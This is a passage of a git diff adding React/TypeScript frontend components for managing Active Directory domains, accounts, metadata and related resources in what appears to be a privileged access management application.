+      <div className="flex items-center justify-between border-b border-border px-4 py-3">
+        <div>
+          <h3 className="text-lg font-medium">Domain Accounts</h3>
+          <p className="text-sm text-muted">
+            Accounts associated with this domain that can be used for access
+          </p>
+        </div>
+        <ProjectPermissionCan
+          I={ProjectPermissionPamAccountActions.Create}
+          a={ProjectPermissionSub.PamAccounts}
+        >
+          {(isAllowed) => (
+            <Button
+              variant="neutral"
+              size="sm"
+              isDisabled={!isAllowed}
+              onClick={() => handlePopUpOpen("addAccount")}
+            >
+              <PlusIcon />
+              Add Account
+            </Button>
+          )}
+        </ProjectPermissionCan>
+      </div>
+      <div className="p-4">
+        <div className="mb-4 flex gap-2">
+          <V2Input
+            value={search}
+            onChange={(e) => setSearch(e.target.value)}
+            leftIcon={<FontAwesomeIcon icon={faMagnifyingGlass} />}
+            placeholder="Search accounts..."
+            className="h-full flex-1"
+            containerClassName="h-9"
+          />
+        </div>
+
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Account Name</TableHead>
+              <TableHead>Type</TableHead>
+              <TableHead>Created</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            {isPending && (
+              <TableRow>
+                <TableCell colSpan={4} className="text-center text-muted">
+                  Loading accounts...
+                </TableCell>
+              </TableRow>
+            )}
+            {!isPending && accounts.length === 0 && (
+              <TableRow>
+                <TableCell colSpan={4}>
+                  <Empty className="border-0 bg-transparent py-8 shadow-none">
+                    <EmptyHeader>
+                      <EmptyTitle>{search ? "No accounts match search" : "No accounts"}</EmptyTitle>
+                    </EmptyHeader>
+                  </Empty>
+                </TableCell>
+              </TableRow>
+            )}
+            {!isPending &&
+              accounts.map((account) => {
+                const internalMeta = (account as Record<string, unknown>).internalMetadata as
+                  | Record<string, string>
+                  | undefined;
+                return (
+                  <TableRow
+                    key={account.id}
+                    className="group cursor-pointer"
+                    onClick={() => handleAccountClick(account.id)}
+                  >
+                    <TableCell>
+                      <div className="flex items-center gap-3">
+                        <span className="font-medium">{account.name}</span>
+                        {!account.credentialsConfigured && (
+                          <Badge variant="warning" className="text-xs">
+                            <KeyRoundIcon className="size-3" />
+                            <span>No password</span>
+                          </Badge>
+                        )}
+                      </div>
+                    </TableCell>
+                    <TableCell className="text-muted capitalize">
+                      {internalMeta?.accountType || "-"}
+                    </TableCell>
+                    <TableCell className="text-muted">
+                      {new Date(account.createdAt).toLocaleDateString()}
+                    </TableCell>
+                    <TableCell>
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                          <IconButton
+                            variant="ghost"
+                            size="xs"
+                            onClick={(e) => e.stopPropagation()}
+                          >
+                            <EllipsisVerticalIcon />
+                          </IconButton>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent sideOffset={2} align="end">
+                          <DropdownMenuItem
+                            onClick={(e) => {
+                              e.stopPropagation();
+                              handleCopyId(account.id);
+                            }}
+                          >
+                            {copiedAccountId ? (
+                              <CheckIcon className="size-4" />
+                            ) : (
+                              <CopyIcon className="size-4" />
+                            )}
+                            Copy Account ID
+                          </DropdownMenuItem>
+                          <ProjectPermissionCan
+                            I={ProjectPermissionPamAccountActions.Edit}
+                            a={ProjectPermissionSub.PamAccounts}
+                          >
+                            {(isAllowed: boolean) => (
+                              <DropdownMenuItem
+                                isDisabled={!isAllowed}
+                                onClick={(e) => {
+                                  e.stopPropagation();
+                                  handlePopUpOpen("updateAccount", account);
+                                }}
+                              >
+                                <PencilIcon className="size-4" />
+                                Edit Account
+                              </DropdownMenuItem>
+                            )}
+                          </ProjectPermissionCan>
+                          <ProjectPermissionCan
+                            I={ProjectPermissionPamAccountActions.Delete}
+                            a={ProjectPermissionSub.PamAccounts}
+                          >
+                            {(isAllowed: boolean) => (
+                              <DropdownMenuItem
+                                isDisabled={!isAllowed}
+                                variant="danger"
+                                onClick={(e) => {
+                                  e.stopPropagation();
+                                  handlePopUpOpen("deleteAccount", account);
+                                }}
+                              >
+                                <TrashIcon className="size-4" />
+                                Delete Account
+                              </DropdownMenuItem>
+                            )}
+                          </ProjectPermissionCan>
+                        </DropdownMenuContent>
+                      </DropdownMenu>
+                    </TableCell>
+                  </TableRow>
+                );
+              })}
+          </TableBody>
+        </Table>
+      </div>
+
+      <PamAddDomainAccountModal
+        isOpen={popUp.addAccount.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("addAccount", isOpen)}
+        projectId={projectId!}
+        domain={domain}
+      />
+
+      <PamUpdateAccountModal
+        isOpen={popUp.updateAccount.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("updateAccount", isOpen)}
+        account={popUp.updateAccount.data as TPamAccount}
+      />
+
+      <PamDeleteAccountModal
+        isOpen={popUp.deleteAccount.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("deleteAccount", isOpen)}
+        account={popUp.deleteAccount.data as TPamAccount}
+      />
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainConnectionSection.tsx b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainConnectionSection.tsx
new file mode 100644
index 00000000000..02c7fc460b9
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainConnectionSection.tsx
@@ -0,0 +1,65 @@
+import { useQuery } from "@tanstack/react-query";
+import { PencilIcon } from "lucide-react";
+
+import { ProjectPermissionCan } from "@app/components/permissions";
+import { Detail, DetailGroup, DetailLabel, DetailValue, IconButton } from "@app/components/v3";
+import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
+import { gatewaysQueryKeys } from "@app/hooks/api";
+import { PamDomainType, TPamDomain } from "@app/hooks/api/pamDomain";
+
+type Props = {
+  domain: TPamDomain;
+  onEdit: VoidFunction;
+};
+
+const ActiveDirectoryConnectionDetails = ({
+  connectionDetails
+}: {
+  connectionDetails: { domain: string; dcAddress: string; port: number };
+}) => (
+  <DetailGroup>
+    <Detail>
+      <DetailLabel>Domain</DetailLabel>
+      <DetailValue>{connectionDetails.domain}</DetailValue>
+    </Detail>
+    <Detail>
+      <DetailLabel>DC Address</DetailLabel>
+      <DetailValue>{connectionDetails.dcAddress}</DetailValue>
+    </Detail>
+    <Detail>
+      <DetailLabel>Port</DetailLabel>
+      <DetailValue>{connectionDetails.port}</DetailValue>
+    </Detail>
+  </DetailGroup>
+);
+
+export const PamDomainConnectionSection = ({ domain, onEdit }: Props) => {
+  const { data: gateways } = useQuery(gatewaysQueryKeys.list());
+  const gateway = gateways?.find((g) => g.id === domain.gatewayId);
+
+  return (
+    <div className="flex w-full flex-col gap-3 rounded-lg border border-border bg-container px-4 py-3">
+      <div className="flex items-center justify-between border-b border-border pb-2">
+        <h3 className="text-lg font-medium">Connection</h3>
+        <ProjectPermissionCan I={ProjectPermissionActions.Edit} a={ProjectPermissionSub.PamDomains}>
+          {(isAllowed) => (
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+              <PencilIcon />
+            </IconButton>
+          )}
+        </ProjectPermissionCan>
+      </div>
+      <div className="space-y-4">
+        {domain.gatewayId && (
+          <Detail>
+            <DetailLabel>Gateway</DetailLabel>
+            <DetailValue>{gateway?.name ?? "Unknown"}</DetailValue>
+          </Detail>
+        )}
+        {domain.domainType === PamDomainType.ActiveDirectory && (
+          <ActiveDirectoryConnectionDetails connectionDetails={domain.connectionDetails} />
+        )}
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainDetailsSection.tsx b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainDetailsSection.tsx
new file mode 100644
index 00000000000..c0320acfe88
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainDetailsSection.tsx
@@ -0,0 +1,39 @@
+import { format } from "date-fns";
+import { PencilIcon } from "lucide-react";
+
+import { ProjectPermissionCan } from "@app/components/permissions";
+import { Detail, DetailGroup, DetailLabel, DetailValue, IconButton } from "@app/components/v3";
+import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
+import { TPamDomain } from "@app/hooks/api/pamDomain";
+
+type Props = {
+  domain: TPamDomain;
+  onEdit: VoidFunction;
+};
+
+export const PamDomainDetailsSection = ({ domain, onEdit }: Props) => {
+  return (
+    <div className="flex w-full flex-col gap-3 rounded-lg border border-border bg-container px-4 py-3">
+      <div className="flex items-center justify-between border-b border-border pb-2">
+        <h3 className="text-lg font-medium">Details</h3>
+        <ProjectPermissionCan I={ProjectPermissionActions.Edit} a={ProjectPermissionSub.PamDomains}>
+          {(isAllowed) => (
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+              <PencilIcon />
+            </IconButton>
+          )}
+        </ProjectPermissionCan>
+      </div>
+      <DetailGroup>
+        <Detail>
+          <DetailLabel>Name</DetailLabel>
+          <DetailValue>{domain.name}</DetailValue>
+        </Detail>
+        <Detail>
+          <DetailLabel>Created</DetailLabel>
+          <DetailValue>{format(new Date(domain.createdAt), "MM/dd/yyyy, hh:mm a")}</DetailValue>
+        </Detail>
+      </DetailGroup>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainMetadataSection.tsx b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainMetadataSection.tsx
new file mode 100644
index 00000000000..2968623cf47
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainMetadataSection.tsx
@@ -0,0 +1,146 @@
+import { useCallback, useEffect, useState } from "react";
+import { useForm } from "react-hook-form";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { PencilIcon } from "lucide-react";
+import { z } from "zod";
+
+import { createNotification } from "@app/components/notifications";
+import { ProjectPermissionCan } from "@app/components/permissions";
+import { Button, Modal, ModalContent } from "@app/components/v2";
+import { Badge, ButtonGroup, IconButton } from "@app/components/v3";
+import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
+import { TPamDomain, useUpdatePamDomain } from "@app/hooks/api/pamDomain";
+import { MetadataForm } from "@app/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/MetadataForm";
+
+type Props = {
+  domain: TPamDomain;
+};
+
+const metadataFormSchema = z.object({
+  metadata: z
+    .object({
+      key: z.string().trim().min(1, "Key is required"),
+      value: z.string().trim().default("")
+    })
+    .array()
+});
+
+type MetadataFormData = z.infer<typeof metadataFormSchema>;
+
+export const PamDomainMetadataSection = ({ domain }: Props) => {
+  const metadata = domain.metadata || [];
+  const { mutateAsync: updateDomain } = useUpdatePamDomain();
+  const [isModalOpen, setIsModalOpen] = useState(false);
+
+  const { control, handleSubmit, reset, formState } = useForm<MetadataFormData>({
+    resolver: zodResolver(metadataFormSchema),
+    defaultValues: {
+      metadata: metadata.length > 0 ? metadata : []
+    }
+  });
+
+  useEffect(() => {
+    if (metadata) {
+      reset({ metadata: metadata.length > 0 ? metadata : [] });
+    }
+  }, [metadata, reset]);
+
+  const handleCancel = useCallback(() => {
+    reset({ metadata: metadata.length > 0 ? metadata : [] });
+    setIsModalOpen(false);
+  }, [metadata, reset]);
+
+  const onSubmit = useCallback(
+    async (formData: MetadataFormData) => {
+      try {
+        await updateDomain({
+          domainId: domain.id,
+          domainType: domain.domainType,
+          metadata: formData.metadata || []
+        });
+        createNotification({
+          text: "Domain metadata updated successfully",
+          type: "success"
+        });
+        setIsModalOpen(false);
+      } catch (error) {
+        createNotification({
+          text: `Failed to update metadata: ${(error as Error)?.message || "Unknown error"}`,
+          type: "error"
+        });
+      }
+    },
+    [domain.id, domain.domainType, updateDomain]
+  );
+
+  return (
+    <>
+      <div className="flex w-full flex-col gap-3 rounded-lg border border-border bg-container px-4 py-3">
+        <div className="flex items-center justify-between border-b border-border pb-2">
+          <h3 className="text-lg font-medium">Metadata</h3>
+          <ProjectPermissionCan
+            I={ProjectPermissionActions.Edit}
+            a={ProjectPermissionSub.PamDomains}
+          >
+            {(isAllowed) => (
+              <IconButton
+                variant="ghost"
+                size="xs"
+                onClick={() => {
+                  reset({ metadata: metadata.length > 0 ? metadata : [] });
+                  setIsModalOpen(true);
+                }}
+                isDisabled={!isAllowed}
+              >
+                <PencilIcon />
+              </IconButton>
+            )}
+          </ProjectPermissionCan>
+        </div>
+        {metadata.length > 0 ? (
+          <div className="flex flex-wrap gap-2">
+            {metadata.map((item) =>
+              item.value ? (
+                <ButtonGroup className="max-w-full min-w-0" key={`${item.key}=${item.value}`}>
+                  <Badge isTruncatable className="max-w-[12rem] shrink-0">
+                    <span>{item.key}</span>
+                  </Badge>
+                  <Badge variant="outline" isTruncatable>
+                    <span>{item.value}</span>
+                  </Badge>
+                </ButtonGroup>
+              ) : (
+                <Badge key={item.key} isTruncatable>
+                  <span>{item.key}</span>
+                </Badge>
+              )
+            )}
+          </div>
+        ) : (
+          <p className="text-sm text-mineshaft-400">No metadata attached to this domain.</p>
+        )}
+      </div>
+
+      <Modal isOpen={isModalOpen} onOpenChange={setIsModalOpen}>
+        <ModalContent
+          title="Edit Metadata"
+          subTitle="Update metadata key-value pairs for this domain."
+        >
+          <MetadataForm control={control} title="" />
+          <div className="mt-4 flex justify-end gap-2">
+            <Button variant="outline_bg" onClick={handleCancel}>
+              Cancel
+            </Button>
+            <Button
+              onClick={handleSubmit(onSubmit)}
+              isLoading={formState.isSubmitting}
+              isDisabled={formState.isSubmitting}
+            >
+              Save
+            </Button>
+          </div>
+        </ModalContent>
+      </Modal>
+    </>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainRelatedResourcesSection.tsx b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainRelatedResourcesSection.tsx
new file mode 100644
index 00000000000..467ad4ab4ab
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainRelatedResourcesSection.tsx
@@ -0,0 +1,117 @@
+import { useNavigate, useParams } from "@tanstack/react-router";
+
+import {
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
+import { useOrganization } from "@app/context";
+import { PAM_RESOURCE_TYPE_MAP, PamResourceType } from "@app/hooks/api/pam";
+import {
+  PAM_DOMAIN_TYPE_MAP,
+  TPamDomain,
+  useListDomainRelatedResources
+} from "@app/hooks/api/pamDomain";
+
+type Props = {
+  domain: TPamDomain;
+};
+
+export const PamDomainRelatedResourcesSection = ({ domain }: Props) => {
+  const navigate = useNavigate();
+  const { currentOrg } = useOrganization();
+  const params = useParams({ strict: false }) as { projectId?: string };
+  const { projectId } = params;
+
+  const { data: relatedResources, isPending } = useListDomainRelatedResources(
+    domain.domainType,
+    domain.id
+  );
+
+  const resources = relatedResources || [];
+  const domainTypeInfo = PAM_DOMAIN_TYPE_MAP[domain.domainType as keyof typeof PAM_DOMAIN_TYPE_MAP];
+
+  return (
+    <div className="rounded-lg border border-border bg-container">
+      <div className="border-b border-border px-4 py-3">
+        <h3 className="text-lg font-medium">Domain Resources</h3>
+        <p className="text-sm text-muted">
+          Resources that belong to this {domainTypeInfo?.name || domain.domainType} domain
+        </p>
+      </div>
+      <div className="p-4">
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Resource</TableHead>
+              <TableHead>Type</TableHead>
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            {isPending && (
+              <TableRow>
+                <TableCell colSpan={2} className="text-center text-muted">
+                  Loading resources...
+                </TableCell>
+              </TableRow>
+            )}
+            {!isPending && resources.length === 0 && (
+              <TableRow>
+                <TableCell colSpan={2}>
+                  <Empty className="border-0 bg-transparent py-8 shadow-none">
+                    <EmptyHeader>
+                      <EmptyTitle>No domain resources found</EmptyTitle>
+                    </EmptyHeader>
+                  </Empty>
+                </TableCell>
+              </TableRow>
+            )}
+            {!isPending &&
+              resources.map((resource) => {
+                const typeInfo = PAM_RESOURCE_TYPE_MAP[resource.resourceType as PamResourceType];
+                return (
+                  <TableRow
+                    key={resource.id}
+                    className="group cursor-pointer"
+                    onClick={() =>
+                      navigate({
+                        to: "/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId",
+                        params: {
+                          orgId: currentOrg.id,
+                          projectId: projectId!,
+                          resourceType: resource.resourceType,
+                          resourceId: resource.id
+                        }
+                      })
+                    }
+                  >
+                    <TableCell>
+                      <div className="flex items-center gap-3">
+                        {typeInfo?.image && (
+                          <img
+                            alt={typeInfo.name}
+                            src={`/images/integrations/${typeInfo.image}`}
+                            className="size-5"
+                          />
+                        )}
+                        <span className="font-medium">{resource.name}</span>
+                      </div>
+                    </TableCell>
+                    <TableCell className="text-muted">
+                      {typeInfo?.name || resource.resourceType}
+                    </TableCell>
+                  </TableRow>
+                );
+              })}
+          </TableBody>
+        </Table>
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/components/PamUpdateDomainModal.tsx b/frontend/src/pages/pam/PamDomainByIDPage/components/PamUpdateDomainModal.tsx
new file mode 100644
index 00000000000..40881d91b39
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/components/PamUpdateDomainModal.tsx
@@ -0,0 +1,34 @@
+import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle } from "@app/components/v3";
+import { PAM_DOMAIN_TYPE_MAP, TPamDomain } from "@app/hooks/api/pamDomain";
+
+import { PamDomainForm } from "../../PamDomainsPage/components/PamDomainForm/PamDomainForm";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  domain?: TPamDomain;
+};
+
+export const PamUpdateDomainModal = ({ isOpen, onOpenChange, domain }: Props) => {
+  if (!domain) return null;
+
+  const domainTypeInfo = PAM_DOMAIN_TYPE_MAP[domain.domainType];
+
+  return (
+    <Sheet open={isOpen} onOpenChange={onOpenChange}>
+      <SheetContent className="flex h-full max-h-full flex-col gap-y-0 sm:max-w-lg">
+        <SheetHeader className="border-b">
+          <SheetTitle>Edit Domain</SheetTitle>
+          <SheetDescription>
+            Update details for this {domainTypeInfo?.name} domain.
+          </SheetDescription>
+        </SheetHeader>
+        <PamDomainForm
+          closeSheet={() => onOpenChange(false)}
+          domain={domain}
+          projectId={domain.projectId}
+        />
+      </SheetContent>
+    </Sheet>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/components/index.ts b/frontend/src/pages/pam/PamDomainByIDPage/components/index.ts
new file mode 100644
index 00000000000..ce8e6fbce57
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/components/index.ts
@@ -0,0 +1,6 @@
+export { PamDomainAccountsSection } from "./PamDomainAccountsSection";
+export { PamDomainConnectionSection } from "./PamDomainConnectionSection";
+export { PamDomainDetailsSection } from "./PamDomainDetailsSection";
+export { PamDomainMetadataSection } from "./PamDomainMetadataSection";
+export { PamDomainRelatedResourcesSection } from "./PamDomainRelatedResourcesSection";
+export { PamUpdateDomainModal } from "./PamUpdateDomainModal";
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/route.tsx b/frontend/src/pages/pam/PamDomainByIDPage/route.tsx
new file mode 100644
index 00000000000..9ff8f49e379
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/route.tsx
@@ -0,0 +1,40 @@
+import { createFileRoute, linkOptions } from "@tanstack/react-router";
+import { zodValidator } from "@tanstack/zod-adapter";
+import { z } from "zod";
+
+import { PamDomainByIDPage } from "./PamDomainByIDPage";
+
+enum DomainDetailTab {
+  Accounts = "accounts",
+  RelatedResources = "related-resources"
+}
+
+const domainDetailSearchSchema = z.object({
+  selectedTab: z.nativeEnum(DomainDetailTab).optional().default(DomainDetailTab.Accounts)
+});
+
+export const Route = createFileRoute(
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/"
+)({
+  validateSearch: zodValidator(domainDetailSearchSchema),
+  beforeLoad: ({ context, params }) => {
+    return {
+      breadcrumbs: [
+        ...context.breadcrumbs,
+        {
+          label: "Domains",
+          link: linkOptions({
+            to: "/organizations/$orgId/projects/pam/$projectId/domains",
+            params: { orgId: params.orgId, projectId: params.projectId }
+          })
+        },
+        {
+          label: "Domain Details"
+        }
+      ]
+    };
+  },
+  component: PamDomainByIDPage
+});
+
+export { DomainDetailTab };
diff --git a/frontend/src/pages/pam/PamDomainsPage/PamDomainsPage.tsx b/frontend/src/pages/pam/PamDomainsPage/PamDomainsPage.tsx
new file mode 100644
index 00000000000..5800d199a4d
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainsPage/PamDomainsPage.tsx
@@ -0,0 +1,30 @@
+import { Helmet } from "react-helmet";
+import { useTranslation } from "react-i18next";
+
+import { PageHeader } from "@app/components/v2";
+import { ProjectType } from "@app/hooks/api/projects/types";
+
+import { PamDomainsSection } from "./components/PamDomainsSection";
+
+export const PamDomainsPage = () => {
+  const { t } = useTranslation();
+  return (
+    <>
+      <Helmet>
+        <title>{t("common.head-title", { title: "PAM Domains" })}</title>
+      </Helmet>
+      <div className="h-full bg-bunker-800">
+        <div className="mx-auto flex flex-col justify-between bg-bunker-800 text-white">
+          <div className="mx-auto mb-6 w-full max-w-8xl">
+            <PageHeader
+              scope={ProjectType.PAM}
+              title="Domains"
+              description="Manage domains and directory services."
+            />
+            <PamDomainsSection />
+          </div>
+        </div>
+      </div>
+    </>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainsPage/components/DomainTypeSelect.tsx b/frontend/src/pages/pam/PamDomainsPage/components/DomainTypeSelect.tsx
new file mode 100644
index 00000000000..dcdc9c17000
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainsPage/components/DomainTypeSelect.tsx
@@ -0,0 +1,86 @@
+import { useMemo, useState } from "react";
+import { SearchIcon } from "lucide-react";
+
+import { Button, InputGroup, InputGroupAddon, InputGroupInput, Label } from "@app/components/v3";
+import {
+  PAM_DOMAIN_TYPE_MAP,
+  PamDomainType,
+  useListPamDomainOptions
+} from "@app/hooks/api/pamDomain";
+
+type Props = {
+  onSelect: (domainType: PamDomainType) => void;
+};
+
+export const DomainTypeSelect = ({ onSelect }: Props) => {
+  const { isPending, data: domainOptions } = useListPamDomainOptions();
+  const [search, setSearch] = useState("");
+
+  const allOptions = useMemo(() => {
+    if (!domainOptions) return [];
+    return domainOptions.sort((a, b) => a.name.localeCompare(b.name));
+  }, [domainOptions]);
+
+  const filteredOptions = useMemo(() => {
+    if (!search.trim()) return allOptions;
+    const searchLower = search.toLowerCase();
+    return allOptions.filter((option) => option.name.toLowerCase().includes(searchLower));
+  }, [allOptions, search]);
+
+  if (isPending) {
+    return (
+      <div className="flex h-full items-center justify-center">
+        <Label>Loading options...</Label>
+      </div>
+    );
+  }
+
+  return (
+    <div className="flex flex-col overflow-hidden">
+      <div className="p-4 pb-2">
+        <InputGroup>
+          <InputGroupAddon>
+            <SearchIcon className="size-4" />
+          </InputGroupAddon>
+          <InputGroupInput
+            value={search}
+            onChange={(e) => setSearch(e.target.value)}
+            placeholder="Search domain types..."
+          />
+        </InputGroup>
+      </div>
+      <div className="flex flex-1 overflow-y-auto">
+        <div className="flex h-fit w-full flex-col gap-2 p-4 pt-2">
+          {filteredOptions.length === 0 ? (
+            <div className="flex items-center justify-center py-8 text-sm text-muted">
+              No domain types found
+            </div>
+          ) : (
+            filteredOptions.map((option) => {
+              const details = PAM_DOMAIN_TYPE_MAP[option.domain as PamDomainType];
+
+              return (
+                <Button
+                  key={option.domain}
+                  onClick={() => onSelect(option.domain as PamDomainType)}
+                  size="lg"
+                  variant="neutral"
+                  className="w-full justify-start"
+                >
+                  {details?.image && (
+                    <img
+                      src={`/images/integrations/${details.image}`}
+                      className="size-6"
+                      alt={`${details.name} logo`}
+                    />
+                  )}
+                  <Label className="pointer-events-none">{details?.name || option.name}</Label>
+                </Button>
+              );
+            })
+          )}
+        </div>
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainsPage/components/PamAddDomainModal.tsx b/frontend/src/pages/pam/PamDomainsPage/components/PamAddDomainModal.tsx
new file mode 100644
index 00000000000..5086ecd19c2
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainsPage/components/PamAddDomainModal.tsx
@@ -0,0 +1,74 @@
+import { Dispatch, SetStateAction, useState } from "react";
+
+import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle } from "@app/components/v3";
+import { PamDomainType, TPamDomain } from "@app/hooks/api/pamDomain";
+
+import { PamDomainForm } from "./PamDomainForm/PamDomainForm";
+import { DomainTypeSelect } from "./DomainTypeSelect";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  projectId: string;
+  onComplete?: (domain: TPamDomain) => void;
+};
+
+type ContentProps = {
+  closeSheet: (domain?: TPamDomain) => void;
+  projectId: string;
+  selectedDomainType: PamDomainType | null;
+  setSelectedDomainType: Dispatch<SetStateAction<PamDomainType | null>>;
+};
+
+const Content = ({
+  closeSheet,
+  projectId,
+  selectedDomainType,
+  setSelectedDomainType
+}: ContentProps) => {
+  if (selectedDomainType) {
+    return (
+      <PamDomainForm
+        closeSheet={closeSheet}
+        onBack={() => setSelectedDomainType(null)}
+        domainType={selectedDomainType}
+        projectId={projectId}
+      />
+    );
+  }
+
+  return <DomainTypeSelect onSelect={setSelectedDomainType} />;
+};
+
+export const PamAddDomainModal = ({ isOpen, onOpenChange, projectId, onComplete }: Props) => {
+  const [selectedDomainType, setSelectedDomainType] = useState<PamDomainType | null>(null);
+
+  return (
+    <Sheet
+      open={isOpen}
+      onOpenChange={(e) => {
+        onOpenChange(e);
+        setSelectedDomainType(null);
+      }}
+    >
+      <SheetContent className="flex h-full max-h-full flex-col gap-y-0 sm:max-w-lg">
+        <SheetHeader className="border-b">
+          <SheetTitle>Create Domain</SheetTitle>
+          <SheetDescription>
+            {selectedDomainType ? "Input domain connection details" : "Select a domain type"}
+          </SheetDescription>
+        </SheetHeader>
+        <Content
+          projectId={projectId}
+          closeSheet={(domain) => {
+            if (domain && onComplete) onComplete(domain);
+            onOpenChange(false);
+            setSelectedDomainType(null);
+          }}
+          selectedDomainType={selectedDomainType}
+          setSelectedDomainType={setSelectedDomainType}
+        />
+      </SheetContent>
+    </Sheet>
+  );
+};
diff --git a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/ActiveDirectoryResourceForm.tsx b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainForm/ActiveDirectoryDomainForm.tsx
similarity index 83%
rename from frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/ActiveDirectoryResourceForm.tsx
rename to frontend/src/pages/pam/PamDomainsPage/components/PamDomainForm/ActiveDirectoryDomainForm.tsx
index 47bf877c4b3..9cc3a30a532 100644
--- a/frontend/src/pages/pam/PamResourcesPage/components/PamResourceForm/ActiveDirectoryResourceForm.tsx
+++ b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainForm/ActiveDirectoryDomainForm.tsx
@@ -9,33 +9,35 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
+  Input,
   Label,
   SheetFooter,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
-import { PamResourceType, TActiveDirectoryResource } from "@app/hooks/api/pam";
+import { TPamDomain } from "@app/hooks/api/pamDomain";
 
-import { GenericResourceFields, genericResourceFieldsSchema } from "./GenericResourceFields";
-import { MetadataFields } from "./MetadataFields";
+import {
+  GenericResourceFields,
+  genericResourceFieldsSchema
+} from "../../../PamResourcesPage/components/PamResourceForm/GenericResourceFields";
+import { MetadataFields } from "../../../PamResourcesPage/components/PamResourceForm/MetadataFields";
 
 type Props = {
-  resource?: TActiveDirectoryResource;
+  domain?: TPamDomain;
   onSubmit: (formData: FormData) => Promise<void>;
   closeSheet: () => void;
 };
 
 const formSchema = genericResourceFieldsSchema.extend({
-  resourceType: z.literal(PamResourceType.ActiveDirectory),
   connectionDetails: z.object({
     domain: z.string().trim().min(1, "Domain is required"),
     dcAddress: z.string().trim().min(1, "DC address is required"),
     port: z.coerce.number().int().min(1).max(65535),
-    useLdaps: z.boolean().default(false),
+    useLdaps: z.boolean().default(true),
     ldapRejectUnauthorized: z.boolean().default(true),
     ldapCaCert: z
       .string()
@@ -52,31 +54,30 @@ const formSchema = genericResourceFieldsSchema.extend({
 
 type FormData = z.infer<typeof formSchema>;
 
-export const ActiveDirectoryResourceForm = ({ resource, onSubmit, closeSheet }: Props) => {
-  const isUpdate = Boolean(resource);
+export const ActiveDirectoryDomainForm = ({ domain, onSubmit, closeSheet }: Props) => {
+  const isUpdate = Boolean(domain);
 
   const form = useForm<FormData>({
     resolver: zodResolver(formSchema),
-    defaultValues: resource
+    defaultValues: domain
       ? {
-          ...resource,
-          gateway: resource.gatewayId ? { id: resource.gatewayId, name: "" } : undefined,
+          name: domain.name,
+          gateway: domain.gatewayId ? { id: domain.gatewayId, name: "" } : undefined,
           connectionDetails: {
-            ...resource.connectionDetails,
-            useLdaps: resource.connectionDetails.useLdaps ?? false,
-            ldapRejectUnauthorized: resource.connectionDetails.ldapRejectUnauthorized ?? true,
-            ldapCaCert: resource.connectionDetails.ldapCaCert ?? "",
-            ldapTlsServerName: resource.connectionDetails.ldapTlsServerName ?? ""
+            ...domain.connectionDetails,
+            useLdaps: domain.connectionDetails.useLdaps ?? false,
+            ldapRejectUnauthorized: domain.connectionDetails.ldapRejectUnauthorized ?? true,
+            ldapCaCert: domain.connectionDetails.ldapCaCert ?? "",
+            ldapTlsServerName: domain.connectionDetails.ldapTlsServerName ?? ""
           }
         }
       : {
-          resourceType: PamResourceType.ActiveDirectory,
